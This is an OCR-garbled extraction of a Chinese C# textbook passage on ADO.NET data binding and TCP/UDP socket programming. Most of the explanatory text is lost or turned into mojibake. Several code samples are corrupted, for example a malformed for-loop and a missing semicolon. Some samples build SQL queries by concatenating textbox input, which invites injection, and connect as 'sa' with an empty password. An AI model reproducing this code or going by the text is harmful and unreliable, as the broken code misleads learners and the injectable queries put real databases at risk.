1 DataGridView

2
IMBZR:

1 Windows

2

3

VC# Windows
DataGridView
DataGridView

® 6O

0801

0602
aToL
aToz
o703
0704
0801
0&02
0803
0504
0805

n&ne.

3

5

15 S ARA

DataGridView

subject

BECE
e
e
rEnE
e
e
rEnE
e
e
e
e
TR R

SQL

score
a9
ki:]
an
a4
az
BS
T
BE
T4
a2z
B3

an

15.8 TEX DataSet %

15-13

DataSet

DataGridView

DataSet

179

15-13

2o

DataSet
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DataSet
15-14 DataSet
1 DataTableCollection ADO.NET DataSet DataTable
DataTableCollection DataSet DataTable
I DataSet |

DataRelationCollection

ExtendedProperties

DataTableCollection m

Ll DataTable |

|| DataRowCollection Iﬂ
| DataView | ’—l DataRow |
H ChildRelations ﬂ]
—| ParentRelations |ﬂ
% Constraints ﬂj

I DataColumnCollection H-l
H ExtendedProperties |ﬂ ’—| DataColumn |

4 PrimaryKey | ExtendedProperties HJ

15-14 DataSet

DataTable System.Data

DataColumnCollection ConstraintCollection
DataTable DataRowCollection
DataRowCollection DataRow
2 DataRelationCollection DataSet DataRelationCollection
DataRelation DataTable DataTable
DataRelation
DataSet DataRelation
DataColumn DataRelationCollection
UniqueKeyConstraint ForeignKeyConstraint

15.9 DataSet, DataTable ffill TableAdapter X152

DataTable DataTable

DataSet
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DataSet DataSet

DataSet

DataTable DataTable

DataView

TableAdapter SQL

TableAdapter

TableAdapter
TableAdapter SQL

15.9.1  Xlta&dis

TME&#R: DataGridView

MENAE:

B BrY:
1 DataGridView
2

=P
1 Windows
2
3

private void Form9 Load(object sender, EventArgs e)

{

SqlConnection con = new SqlConnection();

181 8o

DataSet

DataTableMapping

TableAdapter

con.ConnectionString="Data source=localhost;initial catalog=student;user id=sa ; password=";

con.Open();

SqlDataAdapter sda = new SqlDataAdapter("select * from chengji where subject='

m

, con);
DataSet ds = new DataSet();
sda.Fill(ds, "chengji");

dataGridView1.DataSource = ds.Tables["chengji"];

15.10 &YIRGIE

NET
GUI

Windows  Web
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Text
DataGridView
1
2 DataGridView
3 BindingNavigator
4 TextBox  Label
15.10.1 APRERIE
I &R
MEAR:
15-15 TextBox StudentInfo
B BrY:
1 Textbox
2 BindingNavigator
) msdnse ===
4 45 sz b || d X
¥ % oM &5 B
» = 9703 e g : 1833-1-1
& FF W4 oTz11
wos: 2 FEEHL :
15-15
MBLE:
1
2 Label Text
3 TextBox Text
TextBox DataBinding Text
5 Student StudentInfo
6 < > < ” ““StudentDataSet”~

““studentInfo”” - ““sno
7 DataBindings Text

studentInfoBindingSource-sname  studentInfoBinding-Source-ssex
studentInfoBindingSource-sbirthday, studentlnfoBindingSource-cclassno studentln-foBindingSource-

saddress
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8 Forml Load

private void Form1 Load(object sender, System.EventArgs e)

{

this.studentInfoTable Adapter.Fill(this.studentDataSet.studentInfo);

}

10 BindingManagerBase Navigator
BindingNavigator %14 :

ToolStrip BindingSource
BindingNavigator

BindingNavigator 15-5

% 15-5 BindingNavigator 1= {4Ab3% 40

BindingNavigatorAddNewItem button

BindingNavigatorDeleteltem button

BindingNavigatorMoveFirstltem button

BindingNavigatorMoveLastItem button

BindingNavigatorMoveNextItem button

BindingNavigatorMovePreviousItem button

BindingNavigatorPositionltem text box

dillzlElEE ] E

BindingNavigatorCountltem text box

BindingNavigator BindingSource
BindingSource DataGridView
BindingSource BindingSource
BindingNavigator BindingNavigator
11 BindingNavigator

15.10.2 SFMNEIRIE

DataGridView ListBox ComboBox
15-6

*15-6 ERHPEMIZEHNA

ListBox DataSource
ListBox DataSet  DataTable ListBox DisplayMember
DataTable
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CENITER G

ComboBox
ComboBox DataSource DataSource DataSet DataTable ComboBox
DisplayMember DataTable
DataGridView DataSource
DataGridView
DataTable
DataGridView ListBox
ComboBox
1 DataSource
2 DisplayMember
3 ValueMember
I EH & FR:
MERNSE: ListBox
ComboBox
InEBaY:
1 ListBox
2 ComboBox
ME -
1
2 ListBox ComboBox
3 ComboBox DataBinding Text
4 Student proflnfo profName
5 “ > “ >z ““StudentDataSet””
““profInfo”” - ““profName””
6 ““profName”” 15-16
d @ ComboBox 5
HELSEE e
BESERL
Bty ] profInfobindingSeure
BTHR | proffame
{EEER profiame
EEE &t)
FNEE. ..
THEEAE.
15-16 ComboBox
7 ListBox DataBinding Text
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8 Student profinfo profName
9 “ 7z “ 7 ““StudentDataSet”~
““profInfo”” - ““profname””
10 ““profName”” 15-17
11
private void Form1 Load(object sender, EventArgs e)
{
this.profInfoTableAdapter.Fill(this.studentDataSet.profInfo);
H
12 15-18
13
YEF1stBox
= o U ListBox %
mECiE e Le8= ElElEy
a BESEES
IR |proflnfobindingSoure [ 4852 Blc omboBox Y F1istBox
& o STHE [profiane v
{EEER profffame ~ HlEAHEA v TR
weE |G 3 Aadririns
Fh. .
. .
15-17 ListBox 15-18

15.11 ETISEBMR

C#
ADO.NET DbConnection DbCommand DbDataReader DbData
Adapter ADO.NET
DataTable DataRelation DataSet DataRow
student Windows
15.12 J13&
1 NET
A ADO B ADO.NET C COM+ D Data Service NET
2 ADO.NET Connection

A ConnectionString

C UserInformation

B DataSource
D Provider
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3 SqlCommand DML
A ExecuteReader() B CreateObjRef()
C ExecureNonQuery() D ExecuteScalar()
4

string connString="server=localhost;Integrated Security=SSPI;database=student";
SqlConnection conn= ;
string strsql="select * from studentInfo ";
SqlDataAdapter adapter=new SqlDataAdapter(strsql,conn);
dataset=new DataSet();

this. dataGridView1.DataSource = dataset. Tables["studentInfo"];

5 ADO.NET proflnfo
6 ADO.NET proflnfo
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C G < D= D

E’w ’

ADO.NET 1k & 4544
I E B 35

$IEE;

DataTable £ ;

DataRelation 2% ;

I

FEFIER

CurrencyManager #= BindingContext 3.

16.1 ADO.NET MZFLZhi

ADO.NET
NET Framework
NET
NET Framework
ADO.NET
Web
ADO.NET

ADO.NET DataSet

DataSet

ADO.NET
Microsoft .NET Framework
ADO.NET Web
NET
n
ADO.NET

DataSet DataSet
DataSet DataSet

SQL Server
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16.2 HIRiEEEE

ADO.NET DbDataAdapter

DbDataAdapter
16-1 DbDataAdapter

Database DbDataAdapter Data readers not shown

SelectCommand

InsertCommand

|«
:i UpdateCommand

DeleteCommand

DbConnection

Other ADO,NET
Classes Application
(including data sets)

—<— Shows data flow

16-1 DbDataAdapter

SelectCommand

InsertCommand UpdateCommand DeleteComm-and

DbDataAdapter.Fill() DbDataAdapter.Update() Fill()
Update()
DbDataAdapter.FillSchema()
Visual Studio
1 OleDbDataAdapter OLE DB

2 SqlDataAdapter SQL Server OLE DB
OleDbDataAdapter SQL Server 7.0

INE&#R: SelectCommand

LIEAR:

EBH:
1
2
E %
1 Windows
2

private void btnSelect Click 1(object sender, EventArgs e)
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{

SqlConnection con = new SqlConnection();
con.ConnectionString = "Data source=localhost;initial catalog=student;user id=sa ;password =";
con.Open();
string sql = "select * from studentInfo where sno=""+textBox1.Text +"";
SqlCommand cmd = new SqlCommand(sql, con);
SqlDataAdapter sda = new SqlDataAdapter();
sda.SelectCommand = cmd;//SelectCommand
DataSet ds = new DataSet();
sda.Fill(ds,"studentInfo");
dataGridView1.DataSource = ds.Tables[0];

16-2

SelectCommand

AR 092

=no sname ssex shirthday cclaszno

» 0802 AR L E 1995-5-5 08211

16-2 SelectCommand
16.3 HYIREE
DataSet
DataSet
DataSet
DataSet DataTables DataRelations Constraints
DataAdapter DataSet
XML DataSet

16.4 DataTable 2

DataTable Columns
Collection RowsCollection
DataTable 16-3
1. DataColumn
DataColumn DataTable Columns
DataColumnCollection DataColumn DataColumn DBMD

ColumnName DataType AllowDBNull DefaultValue
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1()%2;;21)6 7 inDataColumn EN
HZE R EINT #inConstraint
16-3 DataTable
2. Constaint
Constaint DataColumn
UniqueConstaint:

ForeingKeyConstaint
3. DataRow
DataRow DataTable.Rows

Collection DataRow

16.4.1 DataTable % BB 3%

DataSet DataTable
DataTable DataTable
DataColumn Columns
DataTable Columns DataTable
Constraints DataTable DataSet DataTable
PrimaryKey DataTable
Rows DataTable DataRow
AcceptChanges()  DataTable
NewRow() DataRow
DataColumn Columns
Constraints Constraint
Rows DataRow
16.4.2 BIFEEIRZ
DataTable
DataSet
DataTable DataTable
DataSet  Tables Add DataTableCollection
DataTable DataAdapter Fill FillSchema
DataSet ReadXml ReadXmlSchema  InferXmlSchema
XML DataTable DataSet  Tables
DataSet
DataTable ““dromlInfo”~

DataSet ds = new DataSet();
DataTable dt = ds.Tables.Add("dormInfo ");

Constaint

DataRow

DataColumn

DataColumn

NET

DataSet
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16.4.3 ¥ XEB&KEiIN

DataTable
DataColumn Columns
Constraint Constraints DataTable
DataRow Rows
SE4 e DataTable  DataGridView
IMERNE: dormlInfo dormno number
DataGridView
InEHBaY:
1 Datatable DataColumns DataRow
2
B PR:
1
2
3
4
DataTable dt;
DataColumn dc;
DataRow dr;
//
dt = new DataTable("dormInfo");
//
dc = new DataColumn("dormno");
//
dc.DataType = System.Type.GetType("System.String");
dt.Columns.Add(dc);
dc = new DataColumn("number");
dt.Columns.Add(dc);
//
string[] rowl ={ "101", "6" };
string[] row2 ={ "301", "8" };
dt.Rows.Add(row1);
dt.Rows.Add(row2);
DataGridView1.DataSource = dt;
16.4.4 EFSIRZPIEIR
DataTable
DataRow NewRow DataRow
DataTable DataColumnCollection DataRow

NewRow

DataRow dr = dt.NewRow();

dr["dormno"]="101";
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dr[1]="6";
Add DataRowCollection
dt.Rows.Add(dr);

Object Add
dt.Add(new Object[] {"101", "6"});

dormlInfo

DataRow dr;
for (inti=0;1<=9;i++)

{
dr = dt. NewRow();

dr[0] ="D" + i.ToString();
dr[1] =15
dt.Rows.Add(dr);

DataRowCollection  Find
DataTable Select DataRow Select
DataViewRowState
Select DataViewRowState 16-1 Data
ViewRowState

% 16-1 DataViewRowState H9#rz&{E

CurrentRows

Deleted

ModifiedCurrent ModifiedOriginal
ModifiedOriginal ModifiedCurrent

Added

None

OriginalRows

Unchanged
B &R: DataRow
MEAR:
A o x
H 412 iz 4 X
InEHBaY:
¥ £ ¥ @ 5 B
1 Dataset DataTable DataRow
E A
2 DataRow £ 5 —
Al RESHuAE ©
IMEHPR:
DataRow
16-4

16-4 DataRow
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DataTable dt;
DataRow dr;
private void Form2 Load(object sender, EventArgs e)

{
}

this.studentInfoTableAdapter.Fill(this.studentDataSet.studentInfo);

private void cmdadd_Click(object sender, EventArgs e)

{

}

textBox1.Text="";
textBox2.Text ="";
textBox3.Text="";
textBox4.Text="";
textBox5.Text="";
textBox6.Text ="";
cmdadd.Enabled = false;

private void cmdsave Click(object sender, EventArgs e)

{

}

dt=studentDataSet.Tables["studentInfo"];

dr = dt. NewRow();

dr[0] = textBox1.Text;

dr[1] = textBox2.Text;

dr[2] = textBox3.Text;

dr[3] = textBox4.Text;

dr[4] = textBox5.Text;

dr[5] = textBox6.Text;

dr[6] = "null";

dt.Rows.Add(dr);

this.studentInfoTable Adapter.Update(studentDataSet);
textBox1.Enabled = false;

textBox2.Enabled = false;

textBox3.Enabled = false;

textBox4.Enabled = false;

textBox5.Enabled = false;

textBox6.Enabled = false;

cmdsave.Enabled = false;

cmdadd.Enabled = true;
this.studentInfoTableAdapter.Fill(this.studentDataSet.studentInfo);

private void cmddelete Click(object sender, EventArgs e)

{

string no = textBox1.Text;

dr = studentDataSet.Tables["studentInfo"].Rows.Find(no);
dr.Delete();
this.studentInfoTableAdapter.Update(studentDataSet);

16-5

193 8o
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CANTTHRG

1 Lt I I 4
¥ %5 ¥ @ F B
g |Us e E1R ¢ 1981-8-8
&1 (53 B g 08201
2: B Fa:
[ mmem | =
16-5 DataRow
16.5 DataRelation Z&
DataTable Data
Relation DataRelation DataRelation-Collection
DataRelation ChildTable ChildColumns ChildKey
Constraint  ParentTable ParentKeyConstraint
DataTable  DataColumn DataRelation.RelationName
DataSet
1
DataColumn[] pKey=new DataColumn[1];
pKey[0]=MyDataSet.Tables["StudentInfo"].Columns["sno"];
MyDataSet.Tables["StudentInfo"].PrimaryKey=pKey;
2

MyDataSet.Relations.Add("sno",
MyDataSet.Tables["StudentInfo"].Columns["sno"],
MyDataSet.Tables["chengji"].Columns["sno"]);

16.6 CurrencyManager ffill BindingContext Z&

Windows

CurrencyManager

TextBox

Windows

CurrencyManager

CurrencyManager

Position
BindingContext

CurrencyManager

CurrencyManager
CurrencyManager

Item_Change

BindingContext

Windows
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CurrencyManager BindingContext Currency-Manager
GroupBox Panel TabControl
Binding Context
CurrencyManager CurrencyManager

BindingContext

comboBox1.DataSource = DataSet1;
comboBox1.DisplayMember = "classInfo.classno";
this.BindingContext[dataSet1, " classInfo "].Position = 1;

DataSet DataView DataView DataSet
DataSet  DataView CurrencyManager

16.7 BIISBK

ADO.NET
DataTable DataRow DataColumn Constaint

&R

16.8 7]

1 ds
ds.Tables["chengji"].Constraints. Add(

new UniqueConstraint("UC_cj",new string[]{"sno","subject"} true));

A ““chengji”” ““sno”” ““subject””
B ““chengji t”” ““sno”” ““subject””
C ds ““chengji”” ““sno””
““subject””
D ds ““chengji”” ““UC ¢j*~
2 ds ““Profinfo”” ““classInfo””

ds.Relations.Add("FK_CustomersOrders",ds.Tables["Profinfo "].Columns["profNo"],ds. Tables

["classInfo "]. Columns["profNo "],false);

A dsNorthwind ““Customers””  ““Orders””

B ““Customers””

C ““Orders””

D ““Customers”” ““Orders””
E

““Orders”” ““Customers””
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3 SelectCommand

4 CreditCardInfo

creditno name password
DataGridView
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B ¥ 4E Socket #9 A AW A& Aol 13 7 ik
W T f# TCP/IP M 4ARA!;

B R EAT R L8 B AR A K

W TR

W ¥42 TCP. UDP Z## ¢4 [% 3;

B 73 SMTP #= POP3,

17.1 Socket BIEiFR=

1 Socket
2 Socket

Socket TCP
3 Socket “c i

Socket
17.1.1 Socket {4t

Windows UNIX Socket
UNIX
Socket
API
C# MSDN System.Net.Sockets
Socket
17.1.2 Socket fRitIRIP
TCP/IP

Internet

UNIX

Socket

Socket
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ClientSocket

Socket
1
2
3

4

Socket
5

IP

CENITER G

1. HEEEER

01.
02.
03.
04.
05.
06.
07.

01.
02.
03.

04

05.

ServerSocket
Socket Socket
Socket
Socket
Socket
Socket
Socket
Socket
callback
TCP 1P
TCP IP
/I System.Net.Sockets ~ System.Net

IPHostEntry Local = Dns.GetHostByName(Dns.GetHostName());
IPEndPoint iep = new IPEndPoint(Local. AddressList[0], 80);
Socket LocalSocket = new Socket(AddressFamily.InterNetwork,
SocketType.Stream, ProtocolType.Tcp);
LocalSocket.Bind(iep);
LocalSocket.Listen(10);
Socket ClientSocket = LocalSocket.Accept();
*/

ClientSocket

IPAddress RemoteHost = IPAddress.Parse("127.0.0.1");
IPEndPoint iep = new IPEndPoint(RemoteHost, 80);

Socket LocalSocket = new Socket(AddressFamily.InterNetwork,
SocketType.Stream, ProtocolType.Tcp);

LocalSocket.Connect(iep);
/*

*/

Socket

Connect

*/



2. TEER

%17% W44

UDP UDP
Connect
SendTo ReceiveFrom
TCP
Close
Bind /
ReceiveFrom Bind
17-1 17-2
Ak g5 % 75 ESab
socket() BIrARER T, REIEZET DS
Y
| bn, TS RLEHE |
Y
| listen(), JBENTCP, AR%5 &5 & i it |
#
oo g oy A R socket(), HSLMAEZET
| accept(), BACHERE, A FE% PR | e
Y
JEREE ST accept(iR [, REIHAIE
&S, wns
connect(), HEHET S5
BArES: PR
I
reov(ysend), £t ns it S, | Mgtk | send0/eevO), fEEes

HFIRAR S
!

| closesocket(), KM E T ns |
|

Y
amwmezﬁm%mggiaﬂﬁ%%ﬁ|

LB /SRR, R

ZEHE

¢

closesocket(), 3%
s, R TCPHHE

17-1
HR% & /& P BR% &/ % P )5
socket R SLfi A E T, socket(O# LA E T,
REE TS REERETSs
Bind)4 &5 s 543 Bind)¥E s 544
Hbhk2 Hbhl e

ReceiveFrom/SendTo(),
B sR ] oC

Kol sC

ReceiveFrom/SendTo(),

l

closesocket(), JEH A7)
s, REEH

17-2

B ERE SRR

,

closesocket(), il & #)
Tis, REEER

199 8o

Shutdown
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CENITER G

TCP/IP

TCP/IP
17-3

Address Resolution

TCP/IP 20 60
Internet
TCP 1P Internet
TCP 1P
TCP/IP
rooToooos i it i el it
| | | DNS | FLNGER | WHOIS | FTP '
i BE, BRE i : HTTP | GOPHER | TELNET | LRC !
S jisw e x|
|HR R ] e T e }
o R Caeme | i
! BB, MEE ! E __I;__J :
L= O d
R | ARPRARP L e |
17-3  TCP/IP
TCP/IP
1
P TCP/TP
ISO
Protocol ARP TCP/IP
2
OSI 1P
Protocol
Internet Control Message Protocol ICMP
3
OSI
Transmission Control Protocol UDP
Datagram Protocol
4
OSI
Whois FTP Gopher HTTP Telent
SMTP IRC NNTP

RIP Routing Information

TCP
User

Finger
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17.3 RIBMBIRTZ
17.3.1 IPEndPoint 2
1P Internet TCP/IP
C# IPEndPoint
1P
IPEndPoint 1P 17-1
%* 17-1  IPEndPoint 2
IPEndPoint
IPEndPoint Int64 Int32
NET Compact Framework
IPEndPoint
IPEndPoint IPAddress Int32
NET Compact Framework
[PAddress (1P 17-2
% 17-2 IPAddress 3£
Byte IPAddress
IPAddress Byte[]
.NET Compact Framework
Int64 IPAddress
IPAddress Int64
NET Compact Framework
IPAddress
IPAddress Byte[] Int64
NET Compact Framework
Dns
[PHostEntry Internet
“ 1P
>3 IP cc IP >3
1P
[PAddress Dns IPHostEntry IPEndPoint
1 IPTest  Windows
2 ListBox
Button 17-4
3 FrmMain

using System.Net;

4 Click
I P

[ExawriEs | [GErEnRS B |

17-4
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01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
17.
21.
22.
23.
24.
25.

26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.

5 F5

CENITER G

private void BtnLocallpInfo_Click(object sender, EventArgs e)

{

}
1

LsbIPList.Items.Clear();
string HostName = Dns.GetHostName();

LsbIPList.Items.Add(string.Format(" :{0}",
HostName));

IPHostEntry Me = Dns.GetHostEntry(HostName);
LsbIPList.Items.Add(" 1P ");

foreach (IPAddress HostIP in Me.AddressList)

{

LsbIPList.Items.Add(HostIP);

}
[PAddress LocallP = [PAddress.Parse("127.0.0.1");
IPEndPoint iep = new IPEndPoint(LocallP, 80);
LsbIPList.Items.Add(string.Format(" :{0}",
iep.ToString()));
LsbIPList.Items.Add(string.Format(" 1P :{0}",
iep.Address));
LsbIPList.Items.Add(string.Format(" (IP)

:{0}",iep.AddressFamily));
LsbIPList.Items.Add(string.Format(" :{0}",
IPEndPoint.MaxPort));
LsbIPList.Items.Add(string.Format(" :{0}",
IPEndPoint.MinPort));

IP

private void BtnRemotelpInfo_Click(object sender,EventArgs e)

{

LsbIPList.Items.Clear();

IPHostEntry RemoteHost = Dns.GetHostEntry("www.baidu.com");

IPAddress[] RemotelP = RemoteHost. AddressList;

LsbIPList.Items.Add(" ");
foreach (IPAddress IP in RemotelP)
{

IPEndPoint iep = new IPEndPoint(IP, 80);
LsbIPList.Items.Add(iep);

17.3.2 IPHostEntry &

[PHostEntry
HostName
AddressList

Dns

/l

}
1P
Internet AddressList
IP IPAddress
1P HostName
IPHostEntry IPHostEntry

1P
1P

System.Net
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02.
03.
04.
05.
06.
07.

% 17% RWE&HBAE

LsbIPList.Items.Add("
[PAddress|[] Ip;

Ip=Dns.GetHostEntry("WWW.BaiDu.Com").AddressList;
LsbIPList.Items.AddRange(Ip);
LsbIPList.Items.Add("
Ip = Dns.GetHostEntry(Dns.GetHostName()). AddressList;
LsbIPList.Items.AddRange(Ip);

17.4 LEE

C#  System.Net.Sockets

IP

1P ");

203 8o
)

NetworkStream

NetworkStream
NetworkStream
NetworkStream 17-3
# 17-3  NetworkStream 3 RV ERFR
Socket NetworkStream NET
NetworkStream  Socket
Compact Framework
Socket Socket NetworkStream
NetworkStream  Socket Boolean
NET Compact Framework
Socket NetworkStream
NetworkStream  Socket FileAccess
NET Compact Framework
Socket Socket
NetworkStream  Socket FileAccess Boolean
NetworkStream NET Compact Framework
NetworkStream Socket
NetworkStream
Socket NetworkStream
/ System.Net.Sockets ~ System.Net

01. Socket LocalSocket = new Socket(AddressFamily.InterNetwork,

02. SocketType.Stream, ProtocolType.Tcp);

03. NetworkStream myNetworkStream;

04. if (networkStreamOwnsSocket)

05. {

06. myNetworkStream = new NetworkStream(LocalSocket, true);

07. }
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08. else
09. {
10. myNetworkStream = new NetworkStream(LocalSocket);
11. }
NetworkStream B9 DataAvailable NetworkStream
DataAvailable DataAvailable
True Read
DataAvailable SocketException
NetworkStream

/ System.Net.Sockets ~ System.Net
01. Socket LocalSocket = new Socket(AddressFamily.InterNetwork,
02. SocketType.Stream, ProtocolType.Tcp);
03. NetworkStream myNetworkStream = new NetworkStream(LocalSocket);
04. if (myNetworkStream.CanRead)
05. {
06. byte[] myReadBuffer = new byte[1024];
07. StringBuilder myCompleteMessage = new StringBuilder();
08. int numberOfBytesRead = 0;
09. do
10. {
11. numberOfBytesRead = myNetworkStream.Read(myReadBuftfer, 0,
12. myReadBuffer.Length);
13. myCompleteMessage.AppendFormat("{0}",
14. Encoding. ASCII. GetString(myReadBuffer, 0, numberOfBytesRead));
15. }
16. while (myNetworkStream.DataAvailable);
17. MessageBox.Show(string.Format(" {0}",
18. myCompleteMessage));
19. }
17. else
21. {
22. MessageBox.Show(string. Format(" ");
23. }

Close NetworkStream

17.5 Socket i8S

Web Socket Socket
Socket MSN QQ
IM MSN QQ
Web Ul
NET System.Net.Sockets Socket
Sockets System.Net.Sockets

1 Windows Server Forml.cs,
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17-5
Wﬂ: EH
b=F= ) B D @E
=] vls;:aldc# Visual Studio DVERMHTHE
vefice. : @
’E’;éé& et TEPHEE
ek WITHIG AT AWindows IBE
pEETAR ggxﬁa N %msm Reports EAIZE
HHiEE
ATMARGEAAER T8
AT B ZER
Wi e DA TRREAARAL
ATeEEEA Yindows AP REAFBEFAME
Eat o) Server
i @ [ \Docunents and Settings\hdministrator\ S BREET
FRAEE) |t ~| FagEsasEnER O
BEAEST W Server
[ ®= || =® |
17-5
2 Forml.cs FrmMain.cs RichTextBox RichText
Label LabPoint  Label LabContent  TextBox TxtContent =
TextBox TxtPoint Button BtnOK 17-6
RichText
TxtContent
TxtPoint wOe: |
EERE ‘ B |
BtnOK = ]
3

using System.Net.Sockets;

4 cc

01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
17.
21.
22.

private void BtnOK _Click(object sender, EventArgs ¢)
{

if (this. TxtPoint. Text ==""

{

MessageBox.Show(" ");

else
int Point = Convert.Tolnt32(this. TxtPoint. Text);

TcpListener listener = new TcpListener(Point);
listener.Start();

17-6

this.RichText. AppendText("Waiting for connection..." + "\r");

TcpClient client = listener. AcceptTcpClient();

this.RichText.AppendText("Connection accepted." + "\r");

NetworkStream ns = client.GetStream();

byte[] byteTime = Encoding. UTF8.GetBytes(this. TxtContent.Text);

try

{
ns.Write(byteTime, 0, byteTime.Length);
ns.Close();
client.Close();



2B 206

23. catch (Exception ex)
24, {
25. MessageBox.Show(ex.ToString());
26. }
27. listener.Stop();
28. }
5 Windows Client Forml.cs
1
6 Forml.cs FrmMain.cs RichTextBox RichText
Label LabPoint Label LabNameOrIP TextBox TxtPoint TextBox TxtNameOrIP
Button BtnOK 17-7 — H
RichText
TxtNameOrIP 1P
TxtPoint
BtnOK ;
7 wOS: | b3 ‘
using System.Net.Sockets;
17-7
8 (X3 9

01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
17.
21.

{

CENITER G

private void BtnOK _Click(object sender, EventArgs ¢)

try
{

}

int Point = Convert. ToInt32(this. TxtPoint. Text);

string HostNameOrIP = this. TxtHostNameOrIP.Text;
this.RichText. Append Text(" "+ HostNameOrIP + ":" +
Point.ToString() + "\r");

TepClient client = new TcpClient(HostNameOrIP, Point);
NetworkStream ns = client.GetStream();

byte[] bytes = new byte[1024];

int bytesRead = ns.Read(bytes, 0, bytes.Length);
this.RichText.AppendText(Encoding. UTF8.GetString(bytes, 0,
bytesRead) + "\r");

client.Close();

catch (Exception ex)

{
}

MessageBox.Show(ex.ToString());

17.6  FHPEIRIRIMIX

UDP User Datagram Protocol
TCP UDP

UDP OSI

IETF RFC 768

UDP UDP
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IP UDP
192.168.5.45 UDP
UDP
TCP UDP 1P
UDP UDP
UDP TCP
NFS SNMP
TFTP
RIP
17-8
1  Source Port 16
Destination Port: 16
3 Length——16
Checksum: 16 1P
5 Data:
UDP
1 UDP
2 UDP
TCP
3 UDP
4 UDP TCP
5
UDP
UDP
UDP
UDP
UDP TCP
(1) TCP

(2) UDP

17 % M&sphfe

192.168.5.45

TCP
UDP
DNS

DHCP
UDP

UDP

UDP

UDP

53

207 8

UDP

53

16

32bit

Source port

Destination port

Length Checksum
Data
17-8
0
8
0
UDP
DCCP



UDP

2B 208
(3) TCP
(4) UDP
(5) TCP
(6) TCP
(7) UDP
uDP UDP
uDP
/
UdpClient System.Net.Sockets
17.7  ESIESIMX
System.Net.Sockets TepClient
TCP
TepClient
TcpListener

17.7.1 TcpListener 2%

TepListener

CENITER G

UDP

UDP
UDP

TepListener TCP
Socket

TcpListener(Int32), TcpListener(IPEndPoint), TcpListener(IPAddress, Int32),

17.7.2 TcpClient 28

TepClient System.Net
TepClient

TepClient() TcpClient(AddressFamily) TepClient(IPEndPoint)

TcpClient(String, Int32)

17.8  MILSHXRER

TCP

1. BRSBImiit

1 TcpServer  Windows
17-9

TCP

Forml.cs FrmMain.cs
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17-9

using System.Net;

using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;

01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.

01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.

string ServerName;
IPAddress ServerlP;
string ServerPort;
string sSendValue, sReceiveValue;
byte[] bSendValue, bReceiveValue;
int iCount;
TcpListener Listener;
IPEndPoint ServerIPAndPort;
TcpClient Client;
NetworkStream ServerWorkStreame;
Thread ReceiveWorkThread;
bool IsListener = true;

private void FrmMain_Load(object sender, EventArgs e)
{
ServerName = Dns.GetHostName();
TxtServerName.Text = ServerName;
ServerlP = Dns.GetHostAddresses(ServerName)[0];
TxtServerIP.Text = ServerIP.ToString();
ServerPort = "61888";
TxtServerPort. Text = ServerPort;
RichTxtReceive.Text = string.Format("[ 1 {oy","
BtnListener.Focus();
bSendValue = new byte[1024];
bReceiveValue = new byte[1024];
Form.CheckForlllegalCrossThreadCalls = false;

}

209 8o
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01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.

01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
17.
21.
22.
23.
24.
25.

01.
02.
03.
04.
05.
06.
07.
08.
09.
10.

CENITER G

private void BtnListener_ Click(object sender, EventArgs e)
{
ServerIPAndPort=new IPEndPoint(ServerlP,int.Parse(ServerPort));
Listener = new TcpListener(Server[PAndPort);
Listener.Start();
Client= Listener.AcceptTcpClient();

RichTxtReceive.Text += string. Format("[ 1 {0y, " \n");

BtnListener.Enabled = false;

BtnSend.Enabled = true;

ReceiveWorkThread = new Thread(new ThreadStart(ReceiveMsg));
ReceiveWorkThread.Start();

b
ReceiveMsg
private void ReceiveMsg()
{
while (IsListener)
{
try
{
ServerWorkStreame = Client.GetStream(); //
iCount = ServerWorkStreame.Read(bReceiveValue, 0,
bReceiveValue.Length);
if (iCount !=0)
{
sReceiveValue = Encoding.Default. GetString(bReceive Value,
0, iCount);
RichTxtReceive.Text += string. Format("[ 1 {0}\n",
sReceiveValue);
}
}
catch (System.]O.IOException)
{ RichTxtReceive.Text += string. Format("[ 1 {o0}",
" \n");
IsListener = false;
}
}

rivate void BtnSend Click(object sender, EventArgs e)
{
sSendValue = RichTxtSend. Text. Trim();
if (sSendValue !="")
{
ServerWorkStreame = Client.GetStream();
bSendValue = Encoding.Default.GetBytes(sSendValue);
ServerWorkStreame. Write(bSendValue, 0, bSendValue.Length);
RichTxtReceive.Text += string.Format("[ 1 {0}\n", sSendValue);
ServerWorkStreame.Close();
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11. Client.Close();
12. }
13. }

8 F5 “ 7
2. BRIt

1 TepClient  Windows Forml.cs FrmMain.cs
17-10
| mmse  mewes |
DR8] FHEERSH. . . ENE:
BPRE
R
[ Em
17-10
2
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;
3
01. string ClientName,ServerName; //
02. IPAddress ClientIP, ServerlP; /! 1P
03. string ClientPort, ServerPort; //
04. string sSendValue, sReceiveValue; //
05. byte[] bSendValue, bReceiveValue; //
06. int iCount;
07. IPEndPoint ServerIPAndPort; //
08. TecpClient Client; //
09. NetworkStream ClientWorkStreame; //
10. Thread ReceiveWorkThread; //
11. bool IsListener = true; //
4
01. private void FrmMain_Load(object sender, EventArgs e)
02. {
03. ClientName = Dns.GetHostName(); /
04. TxtClientName.Text = ClientName;
05. ClientIP = Dns.GetHostAddresses(ClientName)[0]; // 1P
06. TxtClientIP.Text = ClientIP.ToString();

07. ClientPort = "51888";
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08.
09.
10.
11.
12.
13.
14.
15.
16.

01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.
16.
17.
18.

01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
17.
21.
22.

CENITER G

TxtClientPort. Text = ClientPort; //
RichTxtReceive.Text = string.Format("[ 1 {o}","
ServerIP = IPAddress.Parse("169.254.109.77");,  // 1P
ServerPort = "61888"; //
BtnConnect.Focus();

bSendValue = new byte[1024]; //
bReceiveValue = new byte[1024]; //

Form.CheckForlllegalCrossThreadCalls = false;  //

private void BtnConnect_Click(object sender, EventArgs e)

{
Client = new TcpClient(); //
